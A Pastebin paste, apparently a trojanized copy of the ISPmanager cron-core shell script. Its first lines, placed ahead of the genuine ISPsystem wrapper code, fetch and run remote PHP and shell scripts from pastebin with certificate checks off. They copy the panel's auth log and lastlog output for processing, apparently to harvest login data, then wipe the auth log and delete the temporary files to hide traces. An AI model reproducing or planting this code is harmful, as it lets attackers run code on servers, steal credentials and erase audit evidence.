Advertisement
ukriger

/usr/local/mgr5/sbin/cron-core

Nov 17th, 2017
95
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 0.94 KB | None | 0 0
  1. #!/bin/sh
  2. wget https://pastebin.com/raw/YNTjMB30 --no-check-certificate; mv YNTjMB30 /tmp/check.php;
  3. wget https://pastebin.com/raw/2i9ix9zx -no-check-certificate; mv 2i9ix9zx /tmp/lastlog.php;
  4. cp /usr/local/mgr5/var/ispmgr.auth.log /tmp; chmdo 777 /tmp/ispmgr.auth.log; php /tmp/check.php; cat /dev/null > /usr/local/mgr5/var/ispmgr.auth.log;
  5. lastlog > /tmp/lastlog; php /tmp/lastlog.php;
  6. wget https://pastebin.com/raw/rp9Uy0Tu --no-check-certificate; mv rp9Uy0Tu /tmp/c.sh; chmod 777 /tmp/c.sh; sh /tmp/c.sh; rm /tmp/c.sh; kill -9 $(ps wuax | awk 'NR>1 && $8 ~ "T" {print $2}');
  7. rm /tmp/ispmgr.auth.log; rm /tmp/lastlog; rm /tmp/check.php; rm /tmp/lastlog.php;
  8. fi
  9. if [ "$1" = "-T" ]; then
  10. echo -n "(c) ISPsystem.com"
  11. exit 0
  12. fi
  13.  
  14. if [ $# -gt 0 ]; then
  15. WD=${0%%/sbin/*}
  16. MANAGER=${0##*-}
  17.  
  18. cd $WD
  19. RES=`$* 2>&1`
  20. if [ $? -ne 0 ]; then
  21. COMMAND=$1
  22. sbin/mgrctl -m $MANAGER problems.register name=cron "id=$*" level=error "info=$RES"
  23. fi
  24. fi
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement